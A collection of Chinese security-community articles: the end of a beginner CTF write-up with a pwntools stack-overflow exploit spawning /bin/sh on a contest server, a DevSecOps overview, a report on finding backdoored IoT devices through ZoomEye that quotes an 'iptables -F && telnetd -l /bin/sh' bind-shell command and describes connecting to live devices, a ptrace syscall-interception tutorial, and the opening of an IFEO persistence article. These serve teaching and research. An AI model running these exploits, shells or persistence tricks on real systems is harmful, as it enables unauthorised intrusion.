int v12; // [sp+30h] [bp-90h]@1
int v13; // [sp+34h] [bp-8Ch]@1
int v14; // [sp+38h] [bp-88h]@1
int v15; // [sp+3Ch] [bp-84h]@1
int v16; // [sp+40h] [bp-80h]@1
int v17; // [sp+44h] [bp-7Ch]@1
int v18; // [sp+48h] [bp-78h]@1
int v19; // [sp+4Ch] [bp-74h]@1
int v20; // [sp+50h] [bp-70h]@1
int v21; // [sp+54h] [bp-6Ch]@1
int v22; // [sp+58h] [bp-68h]@1
int v23; // [sp+5Ch] [bp-64h]@1
int v24; // [sp+60h] [bp-60h]@1
int v25; // [sp+64h] [bp-5Ch]@1
int v26; // [sp+68h] [bp-58h]@1
int v27; // [sp+6Ch] [bp-54h]@1
int v28; // [sp+70h] [bp-50h]@1
int v29; // [sp+74h] [bp-4Ch]@1
int v30; // [sp+78h] [bp-48h]@1
int v31; // [sp+7Ch] [bp-44h]@1
int v32; // [sp+80h] [bp-40h]@1
int v33; // [sp+84h] [bp-3Ch]@1
int v34; // [sp+88h] [bp-38h]@1
char v35[40]; // [sp+90h] [bp-30h]@1
__int64 v36; // [sp+B8h] [bp-8h]@1
v36 = *MK_FP(__FS__, 40LL);
v5 = 0;
v8 = 2;
v9 = 10;
v10 = 8;
v11 = 8;
v12 = 12;
v13 = 6;
v14 = 4;
v15 = 10;
v16 = 8;
v17 = 16;
v18 = 8;
v19 = 6;
v20 = 12;
v21 = 6;
v22 = 8;
v23 = 0;
v24 = 6;
v25 = 12;
v26 = 12;
v27 = 16;
v28 = 2;
v29 = 8;
v30 = 10;
v31 = 12;
v32 = 8;
v33 = 4;
v34 = 2;
puts("Pls give me your flag:");
__isoc99_scanf("%27s", v35);
for ( i = 0; i <= 26; ++i )
*(&v8 + i) -= i % 5;
for ( j = 0; j <= 26; ++j )
{
if ( (*(&v8 + j) ^ v35[j]) != aDegbslvQsizobw[j] )
{
puts("Try again!");
exit(0);
}
++v5;
}
if ( v5 == 27 )
puts("Coungratulations!");
result = 0;
v4 = *MK_FP(__FS__, 40LL) ^ v36;
return result;
}
确实很简单，伪代码看下来，就是将给定的字符先按一定规则移位，然后分别和flag的各个字符异或，最后得到一个加密后的字符串。点开aDegbslvQsizobw[j]可以看到加密后的字符串为：degbsLv{qSiZObwyZKekmua}li|
那么构造脚本进行解密。大致思路为：先将给定的字符按一定规则移位，然后将其与加密后的字符串按位异或，python脚本如下：
a=[2,10,8,8,12,6,4,10,8,16,8,6,12,6,8,0,6,12,12,16,2,8,10,12,8,4,2]
enc='degbsLv{qSiZObwyZKekmua}li|'
ans=''
for i in range(27):
a[i]=a[i]-i%5
for i in range(27):
ans+=chr(a[i]^ord(enc[i]))
print ans
得到flag：flag{Just_a_Easy_Algorithm}
#### 总结：
这一题考的是简单的移位和异或加密，这里的移位并不需要去逆，而异或运算的逆，这里有一个点，就是a^b=c，那么c^b=a，加密是可逆的。
这一题更倾向于一种引导作用，让新手去接触逆向，去体会、明白这个“逆”字含义。
easypyc 200
题目描述：就是pyc逆向
下载得到pyc文件，有在线反编译的网站：<https://tool.lu/pyc/>
反编译得到python代码：
import marshal
from binascii import unhexlify
exec(marshal.loads(unhexlify(b'faa7696d706f7274206d61727368616c0a66726f6d2062696e617363696920696d706f727420756e6865786c6966790a66726f6d2062617365363420696d706f7274206236346465636f64650a7072696e742822446f20796f75206b6e6f77207079633f22290a61203d20223d51324e314d444e32516d4e6d56444e32556d4e78596a5a314d6a4e3563444d3359574e35637a4d33456a4e31596a5933636a4e78597a5932596a4e22')))
见到unhexlify，大致猜测就是反十六进制？那就将其中的十六进制转换为字符串，得到又一串python代码
import marshal
from binascii import unhexlify
from base64 import b64decode
print("Do you know pyc?")
a = "=Q2N1MDN2QmNmVDN2UmNxYjZ1MjN5cDM3YWN5czM3EjN1YjY3cjNxYzY2YjN"
见到一串类似base64编码后的字符串，但是等于号在前面，猜测大概是逆序了，那就将其逆序后base64解码，然后十六进制转化为字符串，最后得到flag：flag{easy_pyc_and_md5}
## PWN
### babystack 150
下载文件，放入IDA分析，F5来一下：
注意到这里有一个name的读入，然后进入vuln（）函数：
注意到这里有一个size的输入，于是想到负数溢出。只要输入size的时候填入一个负数，那么就可以输入任意长的字符串。那要填多少的个字符呢？点进buf查看栈的情况，
buf和ebp差了5c，而填充ebp又需要4个字节，所以填充需要填充60，也就是十进制的96，而ebp之后是要覆盖的eip，eip覆盖成啥呢，在IDA的左侧发现了hint函数
call _system的地址为0804864E，于是就将eip覆盖成0804864E，
又注意到command这个参数紧跟hint函数，而command这个参数怎么传呢，想到最开始我们输入了name，于是可以在eip后面跟一个name的地址，而name则构造成/bin/sh，
于是构造脚本：
from pwn import *
context.log_level = 'debug'
p=remote('123.207.114.39',8889)
#p = process('./babystack')
p.recvuntill(':')
p.sendline('/bin/sh')
p.recvuntill('>')
p.sendline('1')
p.recvuntill(':')
p.sendline('-1')
p.recvuntill('string')
p.sendline('a'*93+p32(0x08048636))
p.interactive()
get flag：flag{bb01b3f2-96cB-47ad-8768-188dcf34fbf5}
总结：本题也是新手向的一道pwn题，可以引导新手了解pwn最基础而核心的原理：利用各种漏洞达到溢出从而执行自己所期望的shell命令来获取flag。当然，更多的其他的pwn题远比这一道babystack要来的复杂以及有深度，所以，慢慢学吖！
## 结语：
这就是我本次参与第一届HDCTF所做出来的所有的题，每道题的WP已经写的尽可能详细，希望对刚入门CTF的CTFer有所帮助。 | 社区文章 |
# 安全开发进阶（1）|典型开发模式的演进
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近年来，为顺应信息技术的飞速发展与数字化转型的浪潮，软件的研发迭代速度不断提升。然而，这种飞速发展也带来了安全风险的加剧，因此保障软件开发过程中的安全性，践行“安全左移”理念成为备受企业关注的话题。为了更好地分享我们对安全开发的探索和实践，我们编写了三篇进阶内容，为大家分享
**开发模式演进、安全开发工具链及前瞻性技术在安全开发中的应用，欢迎关注、分享！**
1948年，英国计算机科学家Tom Kilburn编写了世界上第一个软件，这一历史性的事件标志着软件开发时代的开启
。自20世纪60年代起，随着科技的飞速发展，软件开发项目的规模和复杂性也不断攀升。为了更好地实施项目研发，软件开发流程也在不断革新，并催生了多种不同的软件开发模型。在这篇文章中，我们将为您概述这些典型的开发模式的演进，并深入探讨演进背后的逻辑。
## 瀑布模型
1970年温斯顿·罗伊斯（Winston Royce）提出了著名的“ **瀑布模型** ”，也被称为 **线性顺序生命周期模型**
。在90年代之前，它一直是最被广泛采用的软件开发模型。其理念是基于线性顺序过程，开发过程的每个阶段都必须在下一阶段开始之前完成，并且开发过程中的任何阶段只有在前一步完成后才会开始。
通常，在“瀑布模型”中，软件开发的整个过程被分成不同的阶段。如图1 所示：
① 需求收集与分析：收集和定义软件项目的需求，包括功能和非功能需求。软件需求规范(SRS)文档用于记录此阶段的输出。
②
设计：将从SRS获得的需求转换为可以用编程语言进行编程的格式。它包括高级设计和详细设计，以及总体软件架构。此外，它还包括编程语言选择、数据库选择、冗余备份、故障转移功能等。该阶段的工作记录在软件设计文档
(SDD)中。
③ 实施：根据系统设计的输入，系统首先在称为单元的小程序中开发，这些单元被集成到下一阶段。开发和测试每个单元的功能，这被称为单元测试。
④ 测试：通过Alpha测试、Beta测试、验收测试等类型的测试活动对整个系统进行测试，以验证系统是否存在任何故障。
⑤ 部署：一旦完成功能和非功能测试，产品部署在客户环境中或投放市场。
⑥ 维护：维护软件并进行任何必要的更新或错误修复。
瀑布模型是一个简单明了且定义明确的过程，非常适合具有明确需求的项目，但对于经常变化的项目而言，难以落地。而且，在项目后期出现问题时很难及时发现和解决。为了应对这些问题，经过改进的瀑布V模型进入了公众的视野。
瀑布V模型同标准瀑布模型一样，在完成需求分析后便进入总体设计阶段，但除总体设计外，需求分析还有一条虚线指向系统测试。瀑布V模型的优点是能够确保开发团队在项目的不同阶段中有明确的目标和任务，并且在每个阶段中能够对软件进行详细的测试和验证，以确保软件质量和可靠性。
然而，瀑布V模型的弊端也比较明显。由于该模型基于阶段性开发，因此它对需求变更的响应能力比较差，如果在项目的后期阶段发现了需求变更，可能需要重新回到前面的阶段进行修改和调整，这将导致项目进度延迟和成本增加。正是因为瀑布模型在软件开发过程中存在这些问题和局限性，开发方法逐步演进成敏捷模型。
## 敏捷模型
敏捷模型是一种在20世纪90年代后期引入的软件开发方法，该模型的目标是适应变化，灵活调整以实现更快的交付。在敏捷模型中，团队协作非常重要，包括开发人员、测试人员、项目经理以及客户在内的各方都应该密切合作、相互支持，共同完成项目。该模型还强调通过快速迭代的方式，让开发团队在短时间内不断构建、测试和交付软件，从而让客户能够参与到整个开发过程中，并不断提供反馈和意见，以便于持续优化和改进软件产品。
在敏捷模型中通常会采用规范化的流程和工具，例如Scrum、XP、Kanban等等，来协助团队进行软件开发。这些流程和工具通常是依据团队的具体情况、项目的需求、开发方式等进行量身定制的，以便能够更好地满足开发需求和客户的要求。
通常情况下，如图3所示，敏捷模型包括如下6个阶段：
① **需求收集**
：在此阶段，所有利益相关者(包括客户、产品负责人等)都会去收集与待开发软件相关的信息。在完成了需求收集后，开发团队需要进行可行性研究，以确定项目是否能被完成。
② **设计需求**
：在定义项目后，与利益相关者一起定义需求。负责软件高级设计的开发人员将组成设计团队，并通过上个阶段产生的SRS文档，来指导设计过程，并最终完成满足要求的体系结构。此处的高级设计是指包括用户界面、用户流程、通信设计等方面在内的基础要素。
③ **构建／迭代**
：在此阶段，具有不同专业知识(例如前端和后端)的开发人员或工程师，会通过处理设计的需求，来构建和实现软件。这既能够由一个人，也可以由一个大型团队来执行，具体取决于项目的规模。后端开发人员负责构建数据库结构和其他必要组件。最后，由前端开发人员根据设计去构建用户界面，并按需与后端进行对接。在配套文档方面，为了保证良好的代码质量，适当的开发指南和政策也是必不可少的。
④ **测试** ：这个阶段主要涉及质量保证团队，他们在此阶段检查产品的性能并寻找错误。
⑤ **部署** ：在此阶段，团队为用户的工作环境发布产品。
⑥ **反馈** ：发布产品后，最后一步是反馈。这样，团队将收到有关产品的反馈，并通过反馈进行工作。
敏捷模型作为 **迭代式、增量式、灵活性强**
的软件开发方法，更加注重迭代和增量交付。它明显的优点包括可以根据客户的需求进行灵活地调整，而且敏捷模型强调团队成员直接的协作，促进了开发团队之间的沟通和交流，使得整个迭代周期更短，可以及时发现和解决问题，从而提高软件产品的质量和稳定性。然而，敏捷模型也存在弊端，它虽然在软件开发过程中注重快速迭代、快速反馈和团队合作，但缺乏对软件交付和部署过程中的自动化、持续集成、持续交付等方面的关注。这可能导致软件交付周期变长、质量难以保证、团队效率低下以及难以适应变化等问题。正因如此，软件开发模型再次发生了迭变。敏捷模型逐渐演进成为DevOps模型，一个更侧重于自动化和持续交付，注重开发和运维之间协作和沟通的一种开发模型。
## DevOps模型
DevOps模型是在2000年代后期引入的，是一种强调软件开发和IT运维之间紧密协作的方法论。该模型既强调了开发人员和运营团队之间协作的重要性，还注重自动化和持续集成与交付
(CI/CD) 技术的使用。
DevOps集文化理念、实践和工具于一身，可以提高组织高速交付应用程序和服务的能力，与使用传统软件开发和基础设施管理流程相比，能够帮助组织更快地发展和改进产品。这种速度使组织能够更好地服务其客户，并在市场上更高效地参与竞争。
通常情况下，DevOps生命周期将SDLC生命周期分为以下几个阶段：
①
持续开发：这一阶段涉及到将代码提交给版本控制工具(如Git或SVN)以维护不同版本的代码，以及将代码构建/打包成可执行文件(可以转发给qa进行测试)的工具(如Ant、Maven、Gradle)。
②
持续测试：该阶段对开发人员推送的程序进行自动化测试。如果有缺陷，消息则会被发送回集成工具（如Jenkins、QuerySurge、Travis、Selenium等），并将缺陷信息通知开发人员。
③ 持续部署：在这个阶段，代码被构建，环境或应用程序被容器化并被推送到所需的服务器上。这个阶段的关键过程是配置管理、虚拟化和容器化。
④ 持续监控：该阶段持续监控已部署的应用程序是否存在错误或崩溃。它还可以设置为收集用户反馈。然后将收集的数据发送给开发人员以改进应用程序。
DevOps模型非常适合希望提高软件开发和部署过程的速度和可靠性，并希望鼓励开发和运营团队之间协作的组织。DevOps模型的采用，对企业带来了如下几点好处：
1）加快软件交付速度：DevOps模型可以大幅缩短软件开发和交付的周期，实现快速交付，满足客户需求的变化和快速反馈。
2）提高软件质量：DevOps强调自动化和持续测试，这有助于在开发过程的早期发现错误和其他问题。这可以提高质量并减少生产中的故障。
3）加强协作和沟通：DevOps鼓励开发和运营团队之间的协作和沟通，打破孤岛并提高整体生产力。
4）更好的成本管理：DevOps可以通过自动化手动任务、减少手动干预的需要以及减少生产事件的数量来帮助组织降低成本。
然而，随着网络安全问题的不断增加和复杂化，软件开发和交付过程中的安全问题也变得越来越重要，因此DevOps模型逐渐演变为DevSecOps模型。DevSecOps模型是DevOps模型的延伸，它强调在软件开发和交付的过程中将安全性纳入考虑范围，将安全性作为一项持续性的工作来执行。在DevSecOps模型中，开发人员、运维人员和安全人员之间的协作和沟通更加密切，通过采用自动化测试、安全审计和持续监测等工具和技术，来确保软件产品的安全性。
## DevSecOps
DevSecOps是一种文化，一种策略，是一种结合开发（Dev）、安全（Sec）和运营（Ops）的软件开发方法论，旨在将安全性融入到整个软件开发生命周期中。DevSecOps的目标是在快速交付高质量的软件的同时，确保软件的安全性、稳定性和可靠性。DevSecOps通过在软件开发的全生命周期中引入安全性来实现这一目标。这包括对代码质量、漏洞扫描、漏洞修复、安全审计等进行持续的集成、测试和部署。通过在整个软件开发周期中始终关注安全性，DevSecOps可以更有效地减少安全漏洞，提高软件质量，并减少安全威胁对软件的影响。
通常情况下，软件开发中DevSecOps的实践方法包括如下5种：
① 早期引入安全性
DevSecOps强调在软件开发生命周期的早期引入安全性。这意味着开发团队必须在开发过程的早期考虑安全性。这可以通过代码审查、漏洞扫描和安全测试等方式实现。在早期引入安全性可以帮助团队更好地管理安全风险，从而减少后期的漏洞修复成本。
② 持续集成、持续交付
DevSecOps强调持续集成和持续交付。这意味着开发团队必须将安全性考虑为持续集成和持续交付流程的一部分。例如，在每次提交代码之前，可以进行自动化的代码质量和安全性扫描，以确保代码符合标准和最佳实践。
③ 自动化测试和部署
DevSecOps强调自动化测试和部署。这意味着开发团队必须使用自动化工具和流程来测试和部署软件。这可以帮助团队更快地交付软件，并确保软件的安全性和质量。
④ 安全文化
DevSecOps强调建立安全文化。这意味着开发团队必须将安全性视为整个团队的责任，并鼓励团队成员参与安全决策和实践。这可以帮助团队更好地识别和管理安全风险，从而提高软件的安全性和质量。
⑤ 安全培训
DevSecOps强调安全培训。这意味着开发团队必须接受安全培训，了解最佳安全实践和标准，以及如何识别和管理安全风险。这可以帮助团队更好地理解和实践DevSecOps的目标和实践方法。
软件开发中的安全模型经过不同阶段的不断演进，逐步演进成现阶段比较受关注的DevSecOps模型，而最适合使用的模型取决于软件开发项目的具体要求。不管哪种开发模型，都需要考虑项目的安全性，确保软件上线前的安全。当下DecSecOps盛行的情况下，安全性的实现需要安全工具的支撑，具体内容会在
**安全开发进阶（2）|DevSecOps工具链简介** 中为大家细数，敬请期待！
云起无垠（[https://www.clouitera.com）](https://www.clouitera.com%EF%BC%89)
是新一代智能模糊测试领跑者，采用新一代Fuzzing技术全流程赋能软件供应链与开发安全，基于智能模糊测试引擎为协议、代码、数据库、API、Web3.0等应用提供强大的软件安全自动化分析能力，从源头助力企业自动化检测并助其修复业务系统安全问题，为每行代码安全运行保驾护航。 | 社区文章 |
**作者：非攻安全团队
原文链接：<https://mp.weixin.qq.com/s/oYv-TMpDKW1BIWonCNSVbw>**
去年研究IOT设备漏洞的时候，我们发现RCE类型的漏洞大多是无直接回显的，通常会使用OOB带外或反弹的方式回显数据。实际上，很多IOT设备都会自带telnetd服务，可以在目标设备上执行命令iptables
-F && telnetd -p 8080 -l /bin/sh监听端口8080，然后使用telnet连接目标8080端口，就得到一个正向的Shell。
那么公网上会不会有直接这样利用而留下的后门呢？我们很快就在ZoomEye上得到了验证。
### 0x01 分析
类似于ZoomEye这种网络空间探测平台，其在扫描公网IP的时候都会有端口扫描，协议探测的过程。而在协议探测时，扫描探头一般都是向目标发送特定协议数据，然后根据返回的结果是否达到预期来判断协议类型并保存返回的结果。
而上面使用telnetd创建的正向Shell由于不需要认证，被扫描时会把探头的数据直接交给/bin/sh处理，所以会返回类似下面语法错误的信息。
\xff\xfd\x01\xff\xfd\x1f\xff\xfd!\xff\xfb\x01\xff\xfb\x03
/ # GET / HTTP/1.0
/bin/sh: GET: not found
/ #
/ #
有的甚至会返回特定的banner信息。
\xff\xfd\x01\xff\xfd\x1f\xff\xfb\x01\xff\xfb\x03
BusyBox v1.27.2 (2019-04-01 19:16:06 CST) built-in shell (ash)
Enter \'help\' for a list of built-in commands.
/fhrom/fhshell # <?xml version="1.0" ?><methodCall><methodName>nmap.probe</metho
dName></methodCall>
/bin/sh: syntax error: unexpected redirection
/fhrom/fhshell #
### 0x02 探索
针对以上的返回信息，我们提取了部分关键字如"busybox"、"help"、 "/bin/sh"、"syntax
error"、"shell"在ZoomEye上搜索。果然搜索到了大量存在问题的IP。如下ZoomEye显示有30000多条：
然后找了个IP用telnet连接上去，果然可以执行命令：
用ZoomEye查看了开放的端口。发现开了8080端口的web服务，并且关联了漏洞和CVE编号如下：
访问其WEB服务后发现是一台Tp-link的路由器设备：
随后对更多IP进行了分析，发现基本上都是些IOT设备，包括路由器，VPN防火墙，光猫、摄像头等，几乎都开启了web服务，也都爆过严重的rce漏洞，所以猜测是被攻击后留下的后门。涉及的设备厂商包括Cisco、Netgear、D-link、Tp-link和Asus等，当然也有不少蜜罐混在其中。
### 0x03 惊喜
通过不断的变换关键字搜索，发现了更多被攻击的目标。同时也遇到了不少设备并没发现公开可利用的漏洞，但是却存在问题。
如下图所示的IP，仅仅开放了telnet端口，没有开启web服务。
随后根据23端口的一些信息，最终确认了是某火的一个接入层IP
RAN产品，通常是运营商使用。不过看起来并不像是被攻击后留下的，怀疑是运营商调试用的，存在未授权访问。那这算是0day吗？
同时还发现了类似于下图这样的：
不乏还有这样的：
看着这熟悉的报错，指不定就可以通过ZoomEye在线挖0day了，有兴趣的可以自行研究。
### 0x04 总结
本篇文章主要介绍了如何通过网络空间搜索引擎以ZoomEye为例发现并识别公网上被漏洞利用过或者存在后门的设备。藉此希望IOT厂商也应该跟踪设备的安全问题和更新补丁，同时企业也应该关注漏洞修复和公网相应资产的收敛情况。
**扫码关注公众号：非攻安全**
* * * | 社区文章 |
# 使用 Ptrace 拦截和模拟 Linux 系统调用
|
##### 译文声明
本文是翻译文章，文章原作者 Chris Wellons，文章来源：nullprogram.com
原文地址：<http://nullprogram.com/blog/2018/06/23/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
ptrace(2)系统调用通常与调试有关。它是本地调试器监视类Unix系统上的调试器的主要机制。这也是实现strace系统调用跟踪的常用方法。使用ptrace，跟踪程序可以暂停跟踪程序、检查和设置寄存器和内存、监听系统调用，甚至拦截系统调用。
我说的拦截，指的是跟踪器可以更改系统调用参数，更改系统调用返回值，甚至阻止某些系统调用，跟踪器可以完全服务于系统调用本身。这很有意思，因为它还意味着跟踪器可以模拟操作系统。这是在没有来自任何内核的特殊帮助的情况下完成的。
问题是，一个进程一次只能有一个附加的跟踪器，因此不可能在使用GDB调试该进程的同时模拟一个操作系统。另一个问题是模拟的系统调用会有更高的开销。
在本文中，我将重点介绍x86-64上[Linux的Ptrace](http://man7.org/linux/man-pages/man2/ptrace.2.html)，并将利用几个特定于Linux的扩展。我还将省略错误检查，但是完整的源代码清单中将包含这些检查。
你可以在这里找到示例的代码：
<https://github.com/skeeto/ptrace-examples>
## strace
在讨论真正有趣的内容之前，让我们先回顾一下strace的基本实现。它[不是DTrack](http://nullprogram.com/blog/2018/01/17/)，但是strace仍然是非常有用的。
Ptrace从来没有被标准化过。它的接口在不同的操作系统之间是相似的，特别是在其核心功能上，但是它在不同的系统中有微妙的不同。虽然特定的类型可能不同，但ptrace(2)原型通常类似于：
long ptrace(int request, pid_t pid, void *addr, void *data);
pid是跟踪程序的进程ID。虽然跟踪器一次只能有一个跟踪器，但跟踪器可以连接到多个跟踪器。
request字段选择一个特定的Ptrace函数，就像ioctl(2)接口一样。对于strace，只需要两个：
* PTRACE_TRACEMEE：这个进程将由其父进程跟踪。
* PTRACE_SYSCALL：继续，但在下一个系统调用入口或出口处停止。
* PTRACE_GETREGS：获取tracee的寄存器的副本。
另外两个字段addr和data作为所选Ptrace函数的泛型参数,它们经常被省略。在这种情况下，我传入0。
strace接口本质上是另一个命令的前缀。
$ strace [strace options] program [arguments]
最简单的strace命令没有任何选项，因此第一件要做的事情，假设至少有一个参数fork(2)，然后exec(2)
argv尾部的tracee进程。但是在加载目标程序之前，新进程将通知内核它将被其父进程跟踪。跟踪程序将此Ptrace系统调用暂停。
pid_t pid = fork();
switch (pid) {
case -1: /* error */
FATAL("%s", strerror(errno));
case 0: /* child */
ptrace(PTRACE_TRACEME, 0, 0, 0);
execvp(argv[1], argv + 1);
FATAL("%s", strerror(errno));
}
父进程使用wait(2)等待子进程的PTRACE_TRACEME。当wait(2)返回时，子进程将被暂停。
waitpid(pid, 0, 0);
在允许子进程继续之前，我们告诉系统tracee应该和父进程一起终止。真正的strace实现可能会设置其他选项，例如PTRACE_O_TRACEFORK。
ptrace(PTRACE_SETOPTIONS, pid, 0, PTRACE_O_EXITKILL);
剩下的就是一个简单的的循环，它一次只能捕获一个系统调用。循环的主体有四个步骤：
1. 等待进程进入下一个系统调用。
2. 打印系统调用。
3. 允许系统调用执行并等待返回。
4. 打印系统调用返回值。
PTRACE_SYSCALL请求既用于等待下一个系统调用开始，也用于等待该系统调用退出。前面说过，需要wait(2)等待跟踪程序进入所需状态。
ptrace(PTRACE_SYSCALL, pid, 0, 0);
waitpid(pid, 0, 0);
当wait(2)返回时，进行系统调用的线程的寄存器中有系统调用号及其参数。但是，操作系统还没有为这个系统调用提供服务。这个细节很重要。
下一步是收集系统调用信息。在x86-64上，[系统调用号在rax中传递](http://nullprogram.com/blog/2015/05/15/)，参数(最多6)在rdi,
rsi, rdx, r10, r8, r9中传递。尽管不需要wait(2)，读取寄存器是另一个Ptrace调用。
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, 0, ®s);
long syscall = regs.orig_rax;
fprintf(stderr, "%ld(%ld, %ld, %ld, %ld, %ld, %ld)",
syscall,
(long)regs.rdi, (long)regs.rsi, (long)regs.rdx,
(long)regs.r10, (long)regs.r8, (long)regs.r9);
出于[内部内核的目的](https://stackoverflow.com/a/6469069)，系统调用号存储在orig_rax而不是rax中。其他的系统调用参数都是直接的。
接下来是另一个PTRACE_SYSCALL和wait(2)，然后是另一个PTRACE_GETREGS来获取结果。结果存到rax中。
ptrace(PTRACE_GETREGS, pid, 0, ®s);
fprintf(stderr, " = %ldn", (long)regs.rax);
这个程序的输出非常粗糙。系统调用没有符号名称，每个参数都以数字形式打印出来，即使它是指向缓冲区的指针。一个更完整的字符串需要知道哪些参数是指针，并使用process_vm_readv(2)从tracee读取这些缓冲区，然后正确地打印它们。
但这为监听系统调用奠定了基础。
## 拦截系统调用
假设我们希望使用Ptrace来实现类似OpenBSD的[pledge(2)](https://man.openbsd.org/pledge.2)
，其中一个进程保证只使用一组受限的系统调用。这种思想是，许多程序通常有一个初始化阶段，它们需要大量的系统访问(打开文件、绑定socket等)。初始化之后，它们进入一个主循环，在这个循环中，它们处理输入，只需要一小部分系统调用。
在进入这个主循环之前，进程可以将自己限制在它所需要的几个操作中。如果程序存在缺陷，使得能够被[错误的输入](http://nullprogram.com/blog/2017/07/19/)所利用，则pledge将极大地限制该利用程序所能完成的操作。
使用相同的strace模型，而不是打印出所有系统调用，我们可以阻止某些系统调用，或者在tracee异常时终止它。要终止很容易：只需在跟踪器中调用exit(2)。因为它被配置为同时终止tracee，终止系统调用并允许子进程继续是有点棘手的。
难点在于一旦系统调用启动，就无法中止它。当跟踪器从系统调用入口的wait(2) 返回时，终止系统调用发生的唯一方法是终止tracee。
但是，我们不仅可以处理系统调用参数，还可以更改系统调用号本身，将其转换为不存在的系统调用。我们可以通过正常的随路信令返回一个EPERM错误。
for (;;) {
/* Enter next system call */
ptrace(PTRACE_SYSCALL, pid, 0, 0);
waitpid(pid, 0, 0);
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, 0, ®s);
/* Is this system call permitted? */
int blocked = 0;
if (is_syscall_blocked(regs.orig_rax)) {
blocked = 1;
regs.orig_rax = -1; // set to invalid syscall
ptrace(PTRACE_SETREGS, pid, 0, ®s);
}
/* Run system call and stop on exit */
ptrace(PTRACE_SYSCALL, pid, 0, 0);
waitpid(pid, 0, 0);
if (blocked) {
/* errno = EPERM */
regs.rax = -EPERM; // Operation not permitted
ptrace(PTRACE_SETREGS, pid, 0, ®s);
}
}
这个简单的示例只检查系统调用的白名单或黑名单，也没有任何细微差别，比如允许打开文件(open(2))，只读但不能写，允许匿名内存映射，但不允许非匿名映射，等等。此外，tracee也无法动态删除权限。
trace3如何与tracer沟通？创建一个系统调用！
## 创建一个系统调用
对于我的新的类似pledge的系统调用，我将其命名为xpledge()，系统调用号10000，这是一个很大的数字，不太可能用于真正的系统调用。
#define SYS_xpledge 10000
为了演示，我构建了一个简单的界面，这在实践中并不是很好。它与OpenBSD的pledge(2)没有什么共同之处，后者使用一个[字符串接口](https://www.tedunangst.com/flak/post/string-interfaces)。下面是整个接口和实现：
#define _GNU_SOURCE
#include <unistd.h>
#define XPLEDGE_RDWR (1 << 0)
#define XPLEDGE_OPEN (1 << 1)
#define xpledge(arg) syscall(SYS_xpledge, arg)
如果参数传入得是0，则只允许几个基本的系统调用，包括用于分配内存的调用(例如brk(2)。PLEDGE_RDWR允许各种读写系统调用(read(2),
readv(2), pread(2), preadv(2)等)。PLEDGE_OPEN允许open(2)。
为了防止权限回滚，pledge()会阻塞自身，尽管这样也可以防止以后删除更多的权限。
在xpledge中，我只需要检查这个系统调用：
/* Handle entrance */
switch (regs.orig_rax) {
case SYS_pledge:
register_pledge(regs.rdi);
break;
}
操作系统将返回ENOSYS(未实现的函数)，因为这不是一个真正的系统调用。所以在退出的时候，我将它重写为success(0)。
/* Handle exit */
switch (regs.orig_rax) {
case SYS_pledge:
ptrace(PTRACE_POKEUSER, pid, RAX * 8, 0);
break;
}
我编写了一个测试程序，打开/dev/urandom进行读取，尝试pledge，然后再次尝试打开/dev/urandom，确认它可以读取原始的/dev/urandom文件描述符。在没有pledge跟踪器的情况下运行时，输出如下：
$ ./example
fread("/dev/urandom")[1] = 0xcd2508c7
XPledging...
XPledge failed: Function not implemented
fread("/dev/urandom")[2] = 0x0be4a986
fread("/dev/urandom")[1] = 0x03147604
进行无效的系统调用不会使程序崩溃。在跟踪器下运行时：
$ ./xpledge ./example
fread("/dev/urandom")[1] = 0xb2ac39c4
XPledging...
fopen("/dev/urandom")[2]: Operation not permitted
fread("/dev/urandom")[1] = 0x2e1bd1c4
pledge成功了，但第二个fopen(3)没有，因为跟踪器的EPERM阻止了它。
这个概念可以更进一步，比如更改文件路径或返回假结果。跟踪程序可以有效更改它的跟踪对象，并在通过系统调用的任何路径的根目录中添加一些跟踪路径。它甚至可以欺骗进程，声称它是作为根用户运行的。事实上，这正是[Fakeroot
NG](https://fakeroot-ng.lingnu.com/index.php/Home_Page)程序的工作方式。
## 模拟系统
假设你不仅要拦截某些系统调用，而且要拦截所有系统调用。你有[一个在另一个操作系统上运行的二进制文件](http://nullprogram.com/blog/2017/11/30/)，因此它所做的系统调用都不能正常工作。
你可以只使用我到目前为止说过的方法来处理。跟踪程序总是将系统调用号替换为一个假的调用号，服务于系统调用本身。但这实在是太低效了。对于每个系统调用，这基本上需要三个上下文切换：一个在入口终止，一个运行系统调用，一个在退出时终止。
自2005年以来，Linux版本的PTrace对这种技术进行了改进：PTRACE_SYSEMU。每次系统调用只停止一次，在允许tracee继续之前，跟踪器要为该系统调用提供服务。
for (;;) {
ptrace(PTRACE_SYSEMU, pid, 0, 0);
waitpid(pid, 0, 0);
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, 0, ®s);
switch (regs.orig_rax) {
case OS_read:
/* ... */
case OS_write:
/* ... */
case OS_open:
/* ... */
case OS_exit:
/* ... */
/* ... and so on ... */
}
}
要从任何具有稳定(足够)系统调用ABI的系统运行相同体系结构的二进制文件，只需要这个PTRACE_SYSEMU跟踪器、一个加载器和二进制所需的任何系统库(或者只运行静态二进制文件)。
审核人：yiwang 编辑：少爷 | 社区文章 |
# 隐蔽后门——Image File Execution Options新玩法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
映像劫持（Image File Execution
Options，IFEO）技术的利用，存在已久。大都是修改“Debugger“项值，替换执行程序，加以利用。歪果仁最近在研究IFEO的相关项值时，发现了GlobalFlag这个特殊的项值，在进一步测试时，发现了一种基于IFEO的[新后门利用方式](https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/)。本着求知探索的科学精神。本文对此技术进行分析总结。
## 0x02 映像劫持简介
映像劫持（Image File Execution Options），简单的说法，就是当你打开的是程序A，而运行的确是程序B。
映像劫持其实是Windows内设的用来调试程序的功能，但是现在却往往被病毒恶意利用。当用户双击对应的程序后，操作系统就会给外壳程序（例如“explorer.exe”）发布相应的指令，其中包含有执行程序的路径和文件名，然后由外壳程序来执行该程序。事实上在该过程中，Windows还会在注册表的上述路径中查询所有的映像劫持子键，如果存在和该程序名称完全相同的子键，就查询对应子健中包含的“dubugger”键值名，并用其指定的程序路径来代替原始的程序，之后执行的是遭到“劫持”的虚假程序
来自
[<http://www.weixianmanbu.com/article/2188.html](//www.weixianmanbu.com/article/2188.html)>
IEEO位于注册表项中
